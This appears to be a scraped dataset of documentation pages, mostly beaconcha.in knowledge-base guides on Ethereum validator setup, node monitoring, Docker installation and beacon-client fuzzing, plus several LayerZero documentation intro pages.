responsible to attest to each slot. The committee Index is the identifier for this specific committee during a slot. Aggregation Bits Represents the aggregated attestation of all participating validators in this attestation. Each \"1\" bit is a successful attestation submitted by the validator. \"0\" bits visualise missed attestations. Validators Validators who have submitted their attestation and have been included by the block proposer. Beacon Block Root The beacon block root points to the block to which validators are attesting. The difference between the block number in which the attestation has been included, and the one the beacon block root is pointing to, causes the attestation inclusion delay. Source & Target These are two additional votes a validator has to submit. The source points to the latest justified epoch, and the target to the latest epoch boundary. Signature Beaconcha.in Explorer - Previous beaconcha.in notifications Next - Beaconcha.in Explorer Beaconcha.in Charts Last modified 3yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Mobile App <> Node Monitoring", - "html_url": "https://kb.beaconcha.in/beaconcha.in-explorer/mobile-app-less-than-greater-than-beacon-node", - "body": "Mobile App <> Node Monitoring A step by step tutorial on how to monitor your staking device & beaconnode on the beaconcha.in mobile app. General This is a free monitoring tool provided by beaconcha.in to enhance the solo staking experience. The user specifies the monitoring endpoint on its beacon & validator node. By using this endpoint, beaconcha.in will be allowed and is required to store the given data to display it in the beaconcha.in the mobile application. To protect user privacy, the IP address will never be stored. Requirements beaconcha.in Account beaconcha.in Mobile App Lighthouse v.1.4.0 or higher Prysm v1.3.10 or higher Nimbus v1.4.1 or higher Teku v22.3.0 or higher Lodestar v1.6.0 or higher Staking on Linux (No windows support by clients yet!) Please adjust the network on the beaconcha.in browser and mobile app accordingly. Both, the beaconcha.in explorer and the mobile app are open source! Lighthouse A step by step guide on the Prater Testnet. Please adjust the network for your own needs. 1. Open the Mobile App Tab and enter a name for your staking setup. Use the same worker name even if your beaconnode runs on a seperate machine than your validator node. __ __Copy the generated flag and paste it add it to your beacon & validator node __ If your beacon-node or Ethereum 1.0 node is not in sync yet, you will see some warning logs! 2. Open the beaconcha.in mobile app and login with your account under Preferences. Your staking device will appear under Machines ! Prysm 1. Head over to the beaconcha.in settings and open the prysm section: 2. Open a new Terminal and copy paste the commands 3. Make sure your Prysm client (beacon & validator) is already up and running. The exporter will now send the data to your mobile app! 4. Wait a few minutes and open the beaconcha.in mobile app and login with your account under Preferences. Your staking device will appear under Machines ! Nimbus 1. Head over to the beaconcha.in settings and open the nimbus section: 2. Add --metrics --metrics-port=8008 to your nimbus client! Otherwise the exporter will not be able to get any data from your client. 3. Wait a few minutes and open the beaconcha.in mobile app and login with your account under Preferences. Your staking device will appear under Machines ! Teku Add the following endpoint to your teku node --metrics-publish-endpoint https://beaconcha.in/api/v1/client/metrics?apikey=YOUR_API_KEY You can find your API Key here: https://beaconcha.in/user/settings#app Lodestar Add the following CLI flag to your Lodestar validator and beaconnode --monitoring.endpoint 'https://beaconcha.in/api/v1/client/metrics?apikey=YOUR_API_KEY' You can find your API Key in the account settings . Check out the Lodestar documentation about client monitoring for further details. Monitoring with Rocket Pool Works with Lighthouse, Lodestar, Teku and Nimbus only. **** Lighthouse, Lodestar and Teku Add Your beaconcha.in API key in Monitoring/Metrics (service config) **** Nimbus Nimbus does not expose every data, thus, some data such as validators are not visible in the app. Guide: https://gist.github.com/jshufro/89e32d417801bf3dfb02c32a983b63cf Previous Rewards and Penalties Next - Beaconcha.in Explorer beaconcha.in notifications Last modified 5mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Optimal Inclusion Distance", - "html_url": "https://kb.beaconcha.in/beaconcha.in-explorer/optimal-inclusion-distance", - "body": "Optimal Inclusion Distance The attestation for slot 156508 was included in slot 156510 but why is the inclusion distance 0? If were to use the formula from above and set the inclusion delay to 0, the rewards would be 0 for a proposed attestation. Missed blocks are not added to the inclusion distance, but since the attestant is not responsible for the block proposal, and to only warn the user about its faults (e.g. slow internet connection, power failure etc.), the beaconcha.in explorer displays the distance as 0. Beaconcha.in Explorer - Previous Beaconcha.in Charts Next - Guides Step by Step: How to join the Ethereum 2.0 Testnet Last modified 3yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Pyrmont Testnet: Prysm Client - Windows", - "html_url": "https://kb.beaconcha.in/guides/pyrmont-windows", - "body": "Pyrmont Testnet: Prysm Client - Windows A guide for non-technical users Disclaimer The following steps only apply for the Pyrmont Testnet and may be outdated in a few weeks as Ethereum 2.0 clients develop rapidly, however, we will try to keep these documents updated. There are multiple ways on how to get started, we will use the one which is the easiest as of now. Official Prysm docs Prysmatic labs discord server Official Pyrmont Launchpad Choosing Eth1 & Eth2 clients Head over to the Pyrmont launchpad Choose Geth as your Eth 1 client and in the next step choose Prysm as your Eth 2 client. Start Ethereum 1.0 Node 1. Create a folder named prysm in C:\\ 2. Download Geth and open a terminal window. 3. Double click the .exe geth-windows-amd64-x.x.xx-cc05b050 . Once the installation is complete there should be geth.exe in the directory chosen during the installation. 4. Drag and Drop the geth.exe file and add --datadir=\"C:\\prysm\" --goerli --http This terminal window needs to run in parallel to the Ethereum 2.0 node, which will be covered in the next steps. Wait for the Ethereum 1.0 node to be in sync. The logs will look like the following once the node is in sync Generate Key Pairs Choose the amount of validators you would like to run and Windows as the operating system. Each validator will cost 32 Goerli ETH. Request Goerli Eth from the r/ethstaker discord here or in the prysmatic labs discord here . Creating keys Download the eth2.0-deposit-cli Move the downloaded file into prysm . Open a Terminal window and drag&drop the deposit.exe file into the terminal as shown below. Follow the instructions to create your Ethereum 2.0 keys! Drag and drop the Eth2.0-deposit-cli file and add new-mnemonic --chain pyrmont WRITE DOWN THE GENERATED 24 WORD MNEMONIC PHRASE Let's go to the next page and upload our deposit-data-[timestamp].json file (located in the path shown in the terminal) , continue and deposit 32 goerli Eth . Downloading Prysm This is only required for the initial setup Open a Terminal window and run: 1. cd C:\\prysm changes the directory 2. curl https://raw.githubusercontent.com/prysmaticlabs/prysm/master/prysm.bat --output prysm.bat Downloads the prysm.bat file 3. reg add HKCU\\Console /v VirtualTerminalLevel /t REG_DWORD /d 1 Changes some vizulations in the terminal window Importing validator keys Drag and drop the prysm.bat file and add validator accounts import --keys-dir= AND the path to your newly created keys . For this example the path is C:\\Users\\Inan\\validator_keys Which results prysm.bat validator accounts import --keys-dir=C:\\Users\\Inan\\validator_keys Enter a new wallet directory and a new password. In this example we chose C:\\prysm as the new wallet directory. Start the beacon node Open a new terminal window, drag & drop the prysm.bat file and add beacon-chain --datadir=C:\\prysm --http-web3provider=http://localhost:8545/ --pyrmont Start the validator node Open a new terminal window, drag & drop the prysm.bat file and add validator --wallet-dir=C:\\prysm --datadir=C:\\prysm --pyrmont Enter your wallet password which was set in the previous step. Find the validator public keys in the logs Enter your wallet password which was set in the previous step . That's it. We are done! Your setup should now have three running terminal windows Enter your pubkey on the beaconcha.in explorer to track its current status and performance. Find out what each of the validator status mean - \" What does \" Unknown status \" mean?\" Guides - Previous Step by Step: How to join the Ethereum 2.0 Testnet Next - Archive Depositing to Ethereum 2.0 Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Step by Step: How to join the Ethereum 2.0 Testnet", - "html_url": "https://kb.beaconcha.in/guides/tutorial-eth2-multiclient", - "body": "Step by Step: How to join the Ethereum 2.0 Testnet A guide for non-technical users using the Prysm and Lighthouse client General This guide is designed for non-technical people. It focuses on Windows10 and MacOs and is an ongoing process, and it will be updated as we collect feedback and adapt to the most recent client changes! Note: There are multiple ways to join the ETH2.0 Testnet by using different clients. Requirements Recommended: 8GB RAM, 100GB SSD, Metamask wallet installed Minimum: 4GB RAM, 20GB SSD, Metamask wallet installed Before we start, it is recommended reading the glossary but not a requirement. Start Staking 1. Prysm Client by Prysmatic Labs - Discord channel Windows 2. Lighthouse Client by Sigma Prime - Discord channel macos Run a Goerli node (ETH1) & beaconnode (ETH2) Beaconcha.in Explorer - Previous Optimal Inclusion Distance Next - Guides Pyrmont Testnet: Prysm Client - Windows Last modified 3yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Fuzzing on macOS", - "html_url": "https://kb.beaconcha.in/archive/beacon-fuzzer/macos", - "body": "Fuzzing on macOS Beacon Fuzzer guide for macOS users. General Fuzzing or fuzz testing is an automated software testing technique that involves providing invalid, unexpected, or random data as inputs to a computer program. https://github.com/sigp/beacon-fuzz Lighthouse Discord Channel Requirements Install Docker 8-16 GB RAM 2-4 Core CPU Configure Docker file sharing settings Make sure that the paths /Users , /Volumes , /private , /tmp have been entered. Fuzzing Step 0. Open up a Terminal and test if docker is up and running docker -v Step 1. Clone the repository git clone https://github.com/sigp/beacon-fuzz Step 2. Change your directory cd beacon-fuzz/eth2fuzz Step 3. Build all Ethereum 2.0 client docker containers make fuzz-all This process can take up to one hour. Once the building process is done, the Fuzzer will start by fuzzing the Lighthouse client and fuzz the next client after one hour. The total process takes 5hours. Fuzzing Lighthouse Report & find bugs Step 0. Open Finder and head over to its Preferences Change the search settings to Search the Current Folder Step 1. If the fuzzer finds a bug it creates a crash file in the workspace folder ~/beacon-fuzz/eth2fuzz/workspace Step 2. Search the workspace folder for files called \" crash-...\" , which is the bug file and compress it to a zip.file An example: crash-efc8b3f0753ddd9df52b066d2f4549d548a21a58 Post the zip file on the beacon-fuzz github repository . Previous Installing Docker on Windows Home Next - Archive OUTDATED: Prysm Client Guides Last modified 3yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Fuzzing on Windows", - "html_url": "https://kb.beaconcha.in/archive/beacon-fuzzer/windows", - "body": "Fuzzing on Windows Beacon Fuzzer guide for windows users. General Fuzzing or fuzz testing is an automated software testing technique that involves providing invalid, unexpected, or random data as inputs to a computer program. https://github.com/sigp/beacon-fuzz Lighthouse Discord Channel Requirements Install Docker on Windows Pro or Windows Home Install MAKE for Windows (External Video Guide & StackOverflow ) 8-16 GB RAM 2-4 Core CPU Download the Fuzzer Step 0. Open a terminal window and test if docker is up and running with docker -v Step 0. Continue with cd desktop followed by git clone https://github.com/sigp/beacon-fuzz Edit the MAKE file Head over to the desktop and open the downloaded folder beacon-fuzz . Continue to the subfolder eth2fuzz and open the Makefile file with a text editor . Replace all DOCKER_BUILDKIT=1 in the Makefile with docker build \\ and save the changes. There are five \"DOCKER_BUILDKIT=1\" in total. Alternatively, copy this file , which has everything replaced. Fuzzing Step 0. Open a terminal window and go to the eth2fuzz directory with cd desktop/beacon-fuzz/eth2fuzz Step 1. Build all clients and start fuzzing by running make fuzz-all That's it, the process will take multiple hours! Report Bugs Search the beacon-fuzz folder for files called \" crash-...\" , which is the bug file, and compress it to a zip file. Web tool to convert files into zip. Post the zip file on the beacon-fuzz github repository . An example: crash-efc8b3f0753ddd9df52b066d2f4549d548a21a58 Archive - Previous Beacon Fuzzer Next Installing Docker on Windows Pro Last modified 3yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "macOS", - "html_url": "https://kb.beaconcha.in/archive/outdated-prysm-client-windows/macos-prysm", - "body": "macOS Here are the articles in this section: Beaconnode & validator using prysm.sh (recommended) Run a Slasher using prysm.sh Beaconnode & validator using Docker Previous Essential commands (macOS & Windows) Next Beaconnode & validator using prysm.sh (recommended) Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Prysm Client - Windows", - "html_url": "https://kb.beaconcha.in/archive/outdated-prysm-client-windows/prysm-client-windows", - "body": "Prysm Client - Windows Here are the articles in this section: Beaconnode & validator using prysm.bat (recommended) Beaconnode & validator using Docker Slasher with Windows using prysm.bat Previous Beaconnode & validator using Docker Next Beaconnode & validator using prysm.bat (recommended) Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Essential commands (macOS & Windows)", - "html_url": "https://kb.beaconcha.in/archive/outdated-prysm-client-windows/tl-dr-essential-commands-macos-and-windows", - "body": "Essential commands (macOS & Windows) A summary of the most important flags to run the prysm client with prysm.sh or prysm.bat. For beginner friendly guides please look here for Windows and here for macOS . Windows Get prysm.bat file curl https://raw.githubusercontent.com/prysmaticlabs/prysm/master/prysm.bat --output prysm.bat Beacon-node prysm.bat beacon-chain --datadir=$HOME/prysm Create new keys prysm.bat validator accounts create --keystore-path=$HOME/prysm --password=yourPassword Validator prysm.bat validator --keystore-path=$HOME/prysm --password=yourPassword Slasher prysm.bat slasher --datadir=$HOME/prysm macOS Get pryms.sh file curl https://raw.githubusercontent.com/prysmaticlabs/prysm/master/prysm.sh --output prysm.sh && chmod +x prysm.sh Beacon-node prysm.sh beacon-chain --datadir=$HOME/prysm Create new keys prysm.bat validator accounts create --keystore-path=$HOME/prysm --password=yourPassword Validator prysm.sh validator --keystore-path=$HOME/prysm --password=yourPassword Slasher prysm.sh slasher --datadir=$HOME/prysm Archive - Previous OUTDATED: Prysm Client Guides Next macOS Last modified 3yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Installing Docker on Windows Home", - "html_url": "https://kb.beaconcha.in/archive/beacon-fuzzer/windows/installing-docker-on-windows-home", - "body": "Installing Docker on Windows Home Installing Docker on Windows Home Step 0. Make sure you have Windows10 Home . Since Docker is not available for Windows 10 Home, some workarounds are required and are solved by following this guide. Step 1. Download Docker but do not install yet. Install Hyper-V by running the .bat file. ( source ) Virtualization must be enabled ( Guide ) virtualization Step 2. Pretend being a Windows10 Pro user 1. Open the \"Registry Editor\" and go to the following path: Computer\\HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion 2. Change EditionID to Professional and ProductName to Windows 10 Pro 3. Immediately open the downloaded Docker File and install Docker . registryEditor In case of a PC restart, shutdown or Docker shutdown , the registry change above needs to be re-entered otherwise Docker will not start. Step 3. Change Docker File sharing settings and give access to C: Step.4 Change Docker's default memory to 4.00 GB Previous Installing Docker on Windows Pro Next Fuzzing on macOS Last modified 3yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Installing Docker on Windows Pro", - "html_url": "https://kb.beaconcha.in/archive/beacon-fuzzer/windows/installing-docker-on-windows-pro", - "body": "Installing Docker on Windows Pro I nstalling Docker on Windows Pro Step 0. Make sure you have Windows10 Pro . Step 1. Download Docker Virtualization must be enabled ( Guide ) virtualization Step 2. Change Docker File sharing settings and give access to C: Step.4 Change Docker's default memory to 4.00 GB Previous Fuzzing on Windows Next Installing Docker on Windows Home Last modified 3yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Beaconnode & validator using Docker", - "html_url": "https://kb.beaconcha.in/archive/outdated-prysm-client-windows/macos-prysm/docker-beaconnode-and-validator-macos", - "body": "Beaconnode & validator using Docker Official PrysmaticLabs Docs Step 0. Install docker Step 1. Check if Docker is installed through the terminal. This can be done by pressing CMD+Space and searching for Terminal . Run docker -v . If the output returns the docker version, Docker is installed correctly. Step 2. Download and install latest beaconchain updates docker pull gcr.io/prysmaticlabs/prysm/beacon-chain:latest Download and install latest validator updates docker pull gcr.io/prysmaticlabs/prysm/validator:latest Create a docker network docker network create --attachable medalla Start the beaconnode docker run -ti --name beacon-chain --network medalla -v $HOME/prysm:/data -p 12000:12000/udp -p 13000:13000 gcr.io/prysmaticlabs/prysm/beacon-chain:latest --datadir=/data --rpc-host=0.0.0.0 The directory $HOME/prysm contains all the beaconchain data and can be accessed through Finder. Wait for the beaconnode to be in sync with the blockchain. This may take a few hours and you will see the following message: INFO initial-sync: Synced up to slot XXXXX Step 3. Create ETH2 Keys Open a new Terminal window and run: docker run -it -v $HOME/eth2validator:/data gcr.io/prysmaticlabs/prysm/validator:latest accounts create --keystore-path=/data --password=yourPassword The created Keys are now located in $HOME/eth2validator Copy the Raw Transaction Data and go to the participation page . Some of the instructions on the participation page will be ignored because they are not required anymore. Follow the steps below to get Goerli ETH and to deposit them to activate your validator. If you cannot get any Goerli ETH through the participation page, join the Prysm Discord channel. Step 4. Start the validator Open a new Terminal window and run: docker run -ti --name validator --network medalla -v $HOME/eth2validator:/data gcr.io/prysmaticlabs/prysm/validator:latest --keystore-path=/data --datadir=/data --password=yourPassword --beacon-rpc-provider=beacon-chain:4000 Step 5. Track your validator performance on beaconcha.in with your public key (orange). Once the blockchain recognises the deposit, the beaoncha.in explorer will allow you to track the validator more accurately. Wait for the inclusionSlot (red) to be reached. Once the blockchain has processed this slot, you will be staking! The Slot number can be tracked here . Running multiple validators Repeat Step 3. and create more keys into the same directory. Use the same password for all keys. Copy the Raw Transaction Data for each validator, re-do the process on the participation page and deposit for each of them. Once the system has received all deposits, you can just start a single validator \"window\", and it will use all of the created keys (=multiple validators). For further assistance, please join the Prysmatic Labs Discord channel . Previous Run a Slasher using prysm.sh Next Prysm Client - Windows Last modified 3yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Beaconnode & validator using prysm.sh (recommended)", - "html_url": "https://kb.beaconcha.in/archive/outdated-prysm-client-windows/macos-prysm/run-with-macos-using-prysm.sh", - "body": "Beaconnode & validator using prysm.sh (recommended) Official PrysmaticLabs Docs Step 0. Install Homebrew Check if Homebrew is installed through the terminal. This can be done by pressing CMD+Space and searching for Terminal . Run brew help If the output is command not found , Homebrew needs to be installed, and if it matches the picture below skip to Step 1. In order to install Homebrew use the following code: /bin/bash -c \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)\" Step 1. Install GPG brew install gnupg Create the prysm directory: mkdir prysm Enter the prysm directory: cd prysm Get the prysm.sh script and make it executable: curl https://raw.githubusercontent.com/prysmaticlabs/prysm/master/prysm.sh --output prysm.sh && chmod +x prysm.sh Step 2. Start the beaconnode Drag and drop the prysm.sh file into the Terminal window and add: beacon-chain --datadir=$HOME/prysm The directory $HOME/prysm contains all the beaconchain data and can be accessed through Finder. Wait for the beaconnode to be in sync with the blockchain. This may take a few hours and you will see the following message: INFO initial-sync: Synced up to slot XXXXX Step 3. Create ETH2 Keys Drag and drop the prysm.sh file into a new(!) Terminal window and add: validator accounts create --keystore-path=$HOME/prysm --password=yourPassword The created keys are now located in $HOME/prysm Copy the Raw Transaction Data and go to the participation page . Some of the instructions on the participation page will be ignored because they are not required anymore. Follow the steps below to get Goerli ETH and to deposit them to activate your validator. If you cannot get any Goerli ETH through the participation page, join the Prysm Discord channel. Step 4. Start the validator Drag and drop the prysm.sh file into a new(!) Terminal window and add: validator --keystore-path=$HOME/prysm --password=yourPassword Step 5. Track your validator performance on beaconcha.in with your public key (orange). Once the blockchain recognises the deposit, the beaoncha.in explorer will allow you to track the validator more accurately. Wait for the inclusionSlot (red) to be reached. Once the blockchain has processed this slot, you will be staking! The Slot number can be tracked here . Running multiple validators Repeat Step 3. and create more keys into the same directory. Use the same password for all keys. Copy the Raw Transaction Data for each validator, re-do the process on the participation page and deposit for each of them. Once the system has received all deposits, you can just start a single validator \"window\", and it will use all of the created keys (=multiple validators). For further assistance, please join the Prysmatic Labs Discord channel . Previous macOS Next Run a Slasher using prysm.sh Last modified 3yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Run a Slasher using prysm.sh", - "html_url": "https://kb.beaconcha.in/archive/outdated-prysm-client-windows/macos-prysm/slasher-windows-macos-prysm", - "body": "Run a Slasher using prysm.sh General The slasher's purpose is to find malicious validators in the Ethereum 2.0 network and report slashable offenses to the beacon-node. How does the slasher work? The slasher is its own entity but requires a beacon-node to receive attestations. To find malicious activity by validators, the slashers iterates through all received attestations until a slashable offense is found. Found slashings are broadcasted to the network and the next block proposer adds the proof to the block. The block proposer get the reward for slashing - not the whistleblower(=Slasher). Run a slasher Make sure your beacon-node is in sync . If you need to run a beacon-node and validator, here is a guide for Windows and here for macOS . Step 1. Drag and drop the prysm.sh file into the Terminal window and add: slasher --datadir=$HOME/prysm That's it! The slasher now iterates through all attestations and sends proof to the detection service. Debug mode enabled with --verbosity=debug For selfish slashing, add --disable-broadcast-slashings to the beaconnode. Previous Beaconnode & validator using prysm.sh (recommended) Next Beaconnode & validator using Docker Last modified 3yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Beaconnode & validator using Docker", - "html_url": "https://kb.beaconcha.in/archive/outdated-prysm-client-windows/prysm-client-windows/docker-beaconnode-and-validator", - "body": "Beaconnode & validator using Docker Official PrysmaticLabs Docs A folder named \"prysm\" in C:\\ needs to be created which will also be the location of the beaconchain data. prysmFolder Step 0. Start Docker, open a Command Prompt window and type docker -v . If Docker is installed correctly, it will return you the Docker Version. If not, please make sure to follow the steps in Installing Docker on Windows Pro if you are on the professional version and Installing Docker on Windows Home if you are on the home version . If the previous command was successful, run the following code: reg add HKCU\\Console /v VirtualTerminalLevel /t REG_DWORD /d 1 This is not required. By using this command, cosmetics of the command prompt window change. Step 1. Download and install latest beaconchain updates docker pull gcr.io/prysmaticlabs/prysm/beacon-chain:latest dockerPull Download and install latest validator updates docker pull gcr.io/prysmaticlabs/prysm/validator:latest Create a docker network docker network create --attachable medalla Start the beaconnode docker run -ti --name beacon-chain --network medalla -v c:/prysm:/data -p 12000:12000/udp -p 13000:13000 gcr.io/prysmaticlabs/prysm/beacon-chain:latest --datadir=/data --rpc-host=0.0.0.0 Wait for your beaconnode to be in sync with the blockchain. This may take a few hours and you will see the following message: INFO initial-sync: Synced up to slot XXXXX Step.2 Create ETH2 keys docker run -it -v c:/prysm:/data gcr.io/prysmaticlabs/prysm/validator:latest accounts create --keystore-path=/data --password=yourPassword The output should look like the image below. If you didn't change --password=yourPassword , your validator keys will have yourPassword as its password. The newly created keys should be in C:\\prysm . Make sure they are available. Copy the Raw Transaction Data and go to the participation page . keyCreation Step 3. Some of the instructions on the participation page will be ignored because they were not optimized for Windows10 (yet). Follow the steps below to get Goerli ETH and to deposit them to activate your validator. If you cannot get any Goerli ETH through the participation page, join the Prysm Discord channel. Step 4. Open a new command prompt window. Start your validator docker run -ti -name validator --network medalla -v c:/prysm:/data gcr.io/prysmaticlabs/prysm/validator:latest --keystore-path=/data --datadir=/data --password=yourPassword --medalla --beacon-rpc-provider=beacon-chain:4000 Step 5. Track your validator performance on beaconcha.in with your public key (orange). Once the blockchain recognises the deposit, the beaoncha.in explorer will allow you to track the validator more accurately. Wait for the inclusionSlot (red) to be reached. Once the blockchain has processed this slot, you will be staking! The Slot number can be tracked here . Validator&beaconcha.in Running multiple validators (voluntarily) Repeat Step 2. and create more keys into the same directory. Use the same password for all keys. Copy the Raw Transaction Data for each validator, re-do the process on the participation page and deposit for each of them. Once the system has received all deposits, you can just start a single validator window, and it will use all of the created keys (=multiple validators). For further assistance, please join the Prysmatic Labs Discord channel . Previous Beaconnode & validator using prysm.bat (recommended) Next Installing Docker on Windows Home Last modified 3yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Beaconnode & validator using prysm.bat (recommended)", - "html_url": "https://kb.beaconcha.in/archive/outdated-prysm-client-windows/prysm-client-windows/script-beaconnode-and-validator", - "body": "Beaconnode & validator using prysm.bat (recommended) Official PrysmaticLabs Docs Step 0. Create a folder named prysm in the C:\\ directory. prysmFolder Step 1. Enter the following code into the command prompt window : cd C:\\prysm and then follow up with : curl https://raw.githubusercontent.com/prysmaticlabs/prysm/master/prysm.bat --output prysm.bat The prysm.bat file should appear in the C:\\prysm directory. Step 2. This Step is not required. By using this command, cosmetics of the command prompt window change. Use the following code: reg add HKCU\\Console /v VirtualTerminalLevel /t REG_DWORD /d 1 \u0000\u0000 Step 3. Start the beaconnode Drag and drop the prysm.bat file into the command prompt window and add: beacon-chain --datadir=C:\\prysm Wait for the beaconnode to be in sync with the blockchain. This may take a few hours and you will see the following message: INFO initial-sync: Synced up to slot XXXXX Step 4. Create ETH2 keys Drag and drop the prysm.bat file into the command prompt window and add: validator accounts create --keystore-path=C:\\prysm --password=yourPassword Copy the Raw Transaction Data and go to the participation page . Some of the instructions on the participation page will be ignored because they were not optimized for Windows10 (yet). Follow the steps below to get Goerli ETH and to deposit them to activate your validator. If you cannot get any Goerli ETH through the participation page, join the Prysm Discord channel. Step 5. Start the validator Drag and drop the prysm.bat file into a seperate command prompt window while the beaconnode is running in a different command prompt window and add: validator --keystore-path=C:\\prysm --password=yourPassword Step 6. Track your validator performance on beaconcha.in with your public key (orange). Once the blockchain recognises the deposit, the beaoncha.in explorer will allow you to track the validator more accurately. Wait for the inclusionSlot (red) to be reached. Once the blockchain has processed this slot, you will be staking! The Slot number can be tracked here . Running multiple validators Repeat Step 4. and create more keys into the same directory. Use the same password for all keys. Copy the Raw Transaction Data for each validator, re-do the process on the participation page and deposit for each of them. Once the system has received all deposits, you can just start a single validator window, and it will use all of the created keys (=multiple validators). For further assistance, please join the Prysmatic Labs Discord channel . Previous Prysm Client - Windows Next Beaconnode & validator using Docker Last modified 3yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Slasher with Windows using prysm.bat", - "html_url": "https://kb.beaconcha.in/archive/outdated-prysm-client-windows/prysm-client-windows/slasher-with-windows-using-prysm.bat", - "body": "Slasher with Windows using prysm.bat General The slasher's purpose is to find malicious validators in the Ethereum 2.0 network and report slashable offenses to the beacon-node. How does the slasher work? The slasher is its own entity but requires a beacon-node to receive attestations. To find malicious activity by validators, the slashers iterates through all received attestations until a slashable offense is found. Found slashings are broadcasted to the network and the next block proposer adds the proof to the block. The block proposer get the reward for slashing - not the whistleblower(=Slasher). Run a slasher Make sure your beacon-node is in sync . If you need to run a beacon-node and validator, here is a guide for Windows and here for macOS . Step 1. Drag and drop the prysm.bat file into the Terminal window and add: slasher --datadir=$HOME/prysm That's it! The slasher now iterates through all attestations and sends proof to the detection service. Debug mode enabled with --verbosity=debug For selfish slashing, add --disable-broadcast-slashings to the beaconnode. Previous Installing Docker on Windows Pro Last modified 3yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Installing Docker on Windows Home", - "html_url": "https://kb.beaconcha.in/archive/outdated-prysm-client-windows/prysm-client-windows/docker-beaconnode-and-validator/installdocker", - "body": "Installing Docker on Windows Home Installing Docker on Windows Home Step 0. Make sure you have Windows10 Home . Since Docker is not available for Windows 10 Home, some workarounds are required and are solved by following this guide. Step 1. Download Docker but do not install yet. Install Hyper-V by running the .bat file. ( source ) Virtualization must be enabled ( Guide ) virtualization Step 2. Pretend being a Windows10 Pro user 1. Open the \"Registry Editor\" and go to the following path: Computer\\HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion 2. Change EditionID to Professional and ProductName to Windows 10 Pro 3. Immediately open the downloaded Docker File and install Docker . registryEditor In case of a PC restart, shutdown or Docker shutdown , the registry change above needs to be re-entered otherwise Docker will not start. Step 3. Change Docker File sharing settings and create a folder named \"prysm\" in that specific directory. In this case the \"prysm\"-folder has been created in C:\\prysm. dockerWindows Step.4 Change Docker's default memory to 4GB. dockerMemory Previous Beaconnode & validator using Docker Next Installing Docker on Windows Pro Last modified 3yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Installing Docker on Windows Pro", - "html_url": "https://kb.beaconcha.in/archive/outdated-prysm-client-windows/prysm-client-windows/docker-beaconnode-and-validator/installingdocker", - "body": "Installing Docker on Windows Pro Installing Docker on Windows Pro Step 0. Make sure you have Windows10 Pro . Step 1. Download Docker . Virtualization must be enabled ( Guide ) virtualization Step 2. Change Docker File sharing settings and create a folder named \"prysm\" in that specific directory. In this case the \"prysm\"-folder has been created in C:\\prysm. dockerWindows Step.4 Change Docker's default memory to 4GB dockerMemory Previous Installing Docker on Windows Home Next Slasher with Windows using prysm.bat Last modified 3yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "What is LayerZero", - "html_url": "https://layerzero.gitbook.io/docs/", - "body": "What is LayerZero Omnichain communication, interoperability, decentralized infrastructure LayerZero's default oracle will be updated to Google Cloud Oracle as of 9/19/23 , details of which you can find here . LayerZero is an omnichain interoperability protocol designed for lightweight message passing across chains. LayerZero provides authentic and guaranteed message delivery with configurable trustlessness. Where can I find more information? For the message protocol design, check out the white paper found on the website . If you are looking for a detailed system architecture explanation, check out the architectures section on the Endpoint and the Ultra-Light Node. Code Examples Learn how to integrate LayerZero into your contracts and take a look at our deployed contracts for Mainnet and Testnet usage. If you want to see some examples to play around head over to our github . See how to send a LayerZero message Next - Bug Bounty Bug Bounty Program Last modified 1mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Code Examples", - "html_url": "https://layerzero.gitbook.io/docs/aptos-guide/code-examples", - "body": "Code Examples Take a look at the following MOVE Examples to get started: LayerZero-Aptos-Contract/bridge.move at main LayerZero-Labs/LayerZero-Aptos-Contract GitHub TokenBridge LayerZero-Aptos-Contract/counter.move at main LayerZero-Labs/LayerZero-Aptos-Contract GitHub OmniCounter Aptos Guide - Previous LZApp Modules Next OmniCounter.move Last modified 18d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "LZApp Modules", - "html_url": "https://layerzero.gitbook.io/docs/aptos-guide/lzapp-modules", - "body": "LZApp Modules We provide some common modules to help build your UAs to let you put more focus on your business logic. These modules provide many useful functions that are commonly used in most UAs. You can use them directly as they are already deployed by LayerZero, or you can copy them to your own modules and modify them to fit your needs. LZApp The LZApp module provides a simple way for you to manage your UA's configurations and handle error messages. 1. Provides entry functions to config instead of calling from app with UaCapability 2. Allows the app to drop/store the next payload 3. Enables to send a layerzero message with Aptos coin and/or ZRO coin It is very simple to use it, initializing by calling the following in your UA: fun init(account: &signer, cap: UaCapability) LayerZero-Aptos-Contract/lzapp.move at main LayerZero-Labs/LayerZero-Aptos-Contract GitHub LZApp Module LayerZero-Aptos-Contract/remote.move at main LayerZero-Labs/LayerZero-Aptos-Contract GitHub LZApp Remote Module Previous Receive Messages Next - Aptos Guide Code Examples Last modified 11mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Getting Started", - "html_url": "https://layerzero.gitbook.io/docs/aptos-guide/master", - "body": "Getting Started Developing on LayerZero is as simple as it gets - just implement the register_ua() , send() and lz_receive() interfaces and your app is ready to send messages across connected chains. To get started, check register_ua() , send() and lz_receive() . Or dive right in with a simple code example here . FAQ Learn answers to Frequently Asked Questions . Talk to the Team Twitter Telegram Discord Medium Official Website https://layerzero.network/ EVM Guides - 